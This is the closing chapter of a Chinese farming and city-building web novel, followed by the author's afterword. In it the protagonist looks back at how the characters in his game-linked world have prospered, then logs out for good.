他之前只以为是玩游戏,只顾着全地图开设学堂,升级学堂也是匆匆点击,压根没好好看过学堂里这些人都在说些什么,还吐槽游戏分级太精细,为了卡进度,卡升级不择手段。 但现在看到这些人的对话,姜定心里很不是个滋味。 再按照他过往记忆去寻找当初的工人们。 张山目前还在地瓜厂任职,他看时,张山正指挥工人们作业,整个人容光焕发。 人变得壮实多了,甚至看着年轻了十岁不止。 姜定再去看那张山娘子,不曾看到人,就先看到点心铺子硕大的字——张巧点心铺。 这铺子开设的分店众多,人山人海的,一时间就连姜定本人都找不到这张山娘子人在哪。 无奈,他转而去看别的人。 孙宁元如今稳坐豆腐厂第一把交椅,将厂子经营得十分出色,不仅仅是管理着风仙县的豆腐厂,周围数个县域,城镇的豆腐厂的总指挥人都由她管理指挥,保证百姓们都能买到物美价廉的豆制品。 斗坡村的里正则是早早退休,躺在摇椅上,摇着扇子,闭着眼睛给村里孩子们讲仙人轶事。 “仙人神通广大当初给了我一名为番薯的仙果,教授种植之法,让我等不再挨饿”《 》 第354章 完美的一日(全文完) 第354章 完美的一日(全文完…… 姜定再次从雇佣界面点击眼熟的工人,跳转到对应的画面。 先前讲故事的里正不见了,出现的是斗坡村第一个敢于和离的李娘子——李湘芹,目前已经做到了豆腐副产品宣传部门的部长。 平时忙得飞起,若是没事时会开个经验座谈会,帮助新入行的宣传员尽快进入状态,抓住宣传销售的窍门。 “一是要想我们的产品有什么用,二是要想产品对应的产品,什么样的人才会需要,我们主要要做的就是想办法把东西卖给需要的人” 姜定听得直迷糊。 这前卫的观念,是这些人从他传过去的某本现代销售思维里看到的吧? 虽说有些心灵鸡汤,但这话确实没错,还是有用的 再点击赵金构,点进去就看到他正搀扶着祖母前去那张巧点心铺。 “祖母,这张巧点心铺就是您素日最爱吃的那家,以往您总挂念着要来看看,可惜人多,怕您挤坏了身子。 今天张掌柜给我们留了个观众席,可去参观一番。” 赵金构小心翼翼地搀扶着祖母,老人家也精神头很足,看着附近人来人往。 如今这风仙县和原先的早就不一样了,原先不过是一落魄小县城,现在可以说是发展最快的那一波了。 姜定对赵金构这人当然有印象,这好歹是他重要的经商人物啊,原先记得这人就是因为一株难得的药材这才决定效忠于自己,现在看来祖孙俩倒是其乐融融。 游戏还怕他想不起来,还在一旁贴心地跳了面板,其内写着此人生平。 姜定扫了一眼,啧啧感慨。 “厉害啊,从小商户爬到这么高的地位,最后成为国商,不愧是游戏给出紫卡标准的人物!潜力真大。” 这条街不远处就是仿古街,姜定又看到段化和段萱兄妹二人正在店里和客人们说些什么,他凑近一看,发现兄妹俩研究出了新品,正在和围观的人介绍产品。 “液体肥皂晓得不?和胰子一样,洗手用的,更方便,更好用。 香味的话,多种多样,有栀子味,桂花味,还有茉莉味的,大伙可以试用一次感受感受,洗完后,手又滑又嫩,还有淡淡的香味,拜亲访友最适合送一瓶液体肥皂了!” 段萱兴奋地介绍,段化在一旁宠溺地看着自家妹妹。 他将妹妹接过来绝对是做的最正确的一件事,小妹肉眼可见的变得开朗活泼,或许是终于干到了她一直想做的事吧。 而他也终于能将过往对父母,对大哥的愧疚全部补偿给妹妹。 段化庆幸无比,庆幸他还有机会,庆幸这个世界他还有最后一个亲人,庆幸自己能遇到风仙县,遇到方大人,遇到仙师。 他的灵魂,他的一切,都建立在这土地上。 和这土地紧密相连,不可分割。 来世今生,他都愿意为现在的安宁付出自己拥有的一切。 姜定看着旁边的生平介绍,在知晓当初触发金卡人物所需要的前置条件,以及当初他给出去的符咒,全部有效后,他自顾自嘟囔。 “美强惨啊,好歹是结局不错。” 毕竟那介绍写的清楚,段氏兄妹二人经营异宝阁,段化又因参与研制火药等热武器工程,目前地位很高,两人生活足够安全舒适。 段家铺子一旁不远就是宋白铺子,这人姜定知道,是个画师。 点进去一瞅,得,全画的他的画像,更要紧的是,这还原度一点都不低啊! 姜定惊叹连连,这会注意到游戏给的提示。 “好家伙,原来我的雕塑也是他雕的啊,那得花不少时间吧?” 姜定心想就算是先让别人粗雕,宋白接手后精雕细琢,也得耗费良久,很可能这项目从一开始,宋白就被官府请过去负责雕刻项目了,这好几年了,总算雕刻完毕,再加上刚好一统,可算是用上雕塑了。 铺子里四处都是人,很容易误触,姜定离开了铺子,来到了报社。 报社开得遍地都是,姜定先点击一张报纸看了起来。 等注意到这报纸还区分拼音版和正常版时,姜定瞪大眼睛,发出没有见识的惊呼。 这还没完,再看下去,这报纸版面划分合理,重点清晰,除了日常招工招聘外,还有农业科普版面,今日大事,以及搞笑段子和小说版面。 给姜定震撼完了——古人人家只是古,但一点都不傻啊。 这些玩意打眼一看,和现代报纸都没区别! 又看了一节小说,这小说还挺好看,要不是他还惦记着别的,指定要追个连载不可。 恋恋不舍从报社挪开,姜定又看了一眼报社总部的状态。 白思妙——当时他救的那个可怜巴巴的小女孩,此刻俨然多了几分严肃劲,被人喊着白总编,正在确定明日报纸版面登记内容。 整个部门很有序,看起来和现代化报社都没太大区别。 姜定放心地离开了。 途中还偶遇一对双生姐妹花,开了一家小香铺,姜定分神看了看名字。 木棉和兰玉。 姐妹两年纪不大,倒是颇会制香,小香铺人来人往,还很是热闹,许是店铺生意好,两姐妹笑靥如花。 继续前进的话,倒是还遇到了一个脑袋顶着硕大感叹号的人。 姜定许久没看到这感叹号标记了,立马兴奋点开,发现这人名叫刀无痕,个人经历里面有一项很是显眼。 ——哦哦哦,这人居然是原先景旭宫的内门弟子啊! 姜定看过剧情,景旭宫内门弟子几乎全灭,这人难道没修炼那残缺功法不成? 再一细看,还真没修炼,反而呢,此人最后还干了一件惊天大事。 小皇帝临死前看到的情报,就是他塞过去的,可谓是隐藏的功臣了。 这可真是,一叶落而知秋,一人动而世变。 连连叹息间,姜定点击,到了那永道宫内部去查看一二。 原先他只以为这永道宫是游戏设定,并没有仔细看过宫内各类道具,术法,符纸。 现在一看,竟深觉这些东西言之有理,要不是没办法截屏什么的,他甚至都想截屏保存下来,日后看看情况 可惜了。 姜定叹气,又看那永道宫弟子在宫内修炼,还有弟子下山历练,一部分前往官府当通讯道士,另一部分则是自己野游,路见不平随时出手。 说起这通讯道士,姜定还有些好奇,不过等到看到用途后嘴角抽搐。 呵呵,还是你们道士们会玩啊,这通讯符配备一个道士,这可真是相当于移动电话了。 除了永道宫的老场所外,他还特意去了景旭宫旧址,如今改建成了永道宫黎州分部。 这里面新纳了不少弟子,未来一片大好形势。 药堂的话,姜定看时里面正在进行一批批的青霉素量化产出,医馆负责将这些产出平均分配到各个县域,确保百姓都能在有需要时用得上。 如今这些老大夫们,正在研究试验新药——焦油外用抗菌药,可和青霉素联合使用,效果更佳。 姜定啧啧称奇。 牛啊,给他们这些人几个配方,还真有能人能给制造出来啊 姜定继续飞快查看,看盐池全部按照标准化科学方式生产盐巴,产量大幅度上升,全国盐价迅速下跌,稳定在一个极其低廉的价格。 又看各类矿产采集危险部分都改用机械,效率不仅比先前快了,还安全许多。 矿产区还张贴着“地质小队”的光荣事迹,由李明月带队,率领众人找到一个又一个有用的矿产来,在国和家之间,李明月等人毅然决然先选择了国,而非个人的小家,时刻将国放在家之前。 而她们前期找到的矿产,也极大地帮助风仙县过渡,从而一步步支撑起各种厂子的建设,直到如今进入蒸汽机械时代 姜定继续又查看地图标注,各式各样,种类不同的厂子,如今建设得哪儿都是,覆盖了民众日常的衣食住行药,极大地提升了百姓的幸福感。 蒸汽机械化让百姓逐渐冲着更便捷,更好的社会迈步。 姜定扫视一圈,深觉这古人真是不能小看,仅仅是一点现代的蛛丝马迹,这些人就能给你弄出来真的东西! 还有些时间,姜定又上网,将先前他懒得上传的电子书网站链接全部上传到学堂,看着这链接全部转化成一本本的新书填充着集闻楼,姜定最后一点担心也慢慢没了。 这些东西足够他们慢慢研究,慢慢发展到自己所在世界的科技水平了。 临离开游戏前,姜定去看了游戏里始终是自己最为信赖的紫卡人物方知意。 这可是全程以仙人之名,替他全权操劳管控旗下诸多县域的奇才。 他看过去时,看到的就是方知意正在伏案看文稿。 姜定现在的状态可以说是处于一种纯粹观察视角,但不知为何,方知意却猛地抬头,隔着屏幕和他遥遥对望。 那双眼睛漆黑发亮,充满抱负。 他和方知意对视了好几秒,对方才慢慢垂头,继续看文件,而姜定则是心跳得飞快。 ——有一说一,不愧是掌管全国的人吗?气势确实非常强,那瞬间,他差点以为对方能看到他。 如今想看的东西都看完了,亲眼看到自己无意识间玩的游戏改变了成千数百万人的生活,姜定说不激动,不心虚都是假的。 他没看以前,生怕自己过往任性游戏而伤害到里面的百姓,如今扫了一圈,发现还好还好,还好没做出什么过分的事,总体来说,对于他这样的普通人来说,这结局已经足够完美。 倒计时也逐渐只剩下最后几分钟。 姜定深呼一口气,点开【确定退出】按钮,彻底迎接一切的结束。 游戏很快弹出新的提醒。 【你已确定结束游玩,此前所定各项治国方略,统归游戏系统托管,自动施行。】 【正在解绑位面】 【解绑成功】 【恭喜您和位面世界获得双赢!】 【系统正在检测下一个可绑定宿主】 【系统正在检测下一个可绑定位面】 【匹配成功。】 在这话结束后,姜定再看过去就发现电脑屏幕上那个名为【大炎种田】的图标消失了。 甚至让他感觉这一切有些不真实。 ——他真的曾经用自己的力量,帮助一个位面世界建立盛世? 这份怀疑在看到银行卡内温暖的数字后消散。 家人在喊他吃饭,姜定恍惚后又关闭电脑,过去吃饭。 餐桌上其乐融融,看着父母的笑脸,他终于知道这就是最好的结局。 像大炎朝的百姓们日夜祈求的一般。 对他们普通人来说,感受并享受当下,安稳、幸福地度过生活的每一天,这才是最重要的。 作者有话说: 完结啦,最后一话,写点自己的想法。 全文117万字,说实话,作者君自己都没想到会写这么多,但无论怎么看,哪个剧情都觉得合理,都觉得要写,写长大概就是种田基建文的宿命(bushi),首先,很感谢一路追读的读者宝宝们,你们发的评论作者君都有看,包括文章进度,剧情方面,对作者君来说无论是哪种评论,无论是鼓励的还是情绪外放的夸夸,还是中肯的评价,只要是能收到评论就已经非常高兴了! 这文也写了一年了,因为是兼职,所以都是日更三千,反省一下自己,争取下一本努力冲点六千!下本写《为了败空侯府我实在是牺牲太多》,预计三月中下旬开文,喜欢的小伙伴们可以进去看看文案,感兴趣点个收藏。 这本完结有订阅抽奖,等这两天我研究一下给弄上,咱们开开心心抽个奖!别的矫情话也不说了,再次感谢一路追更,一路鼓励我的小伙伴,咱们三月中旬下本书见!《 》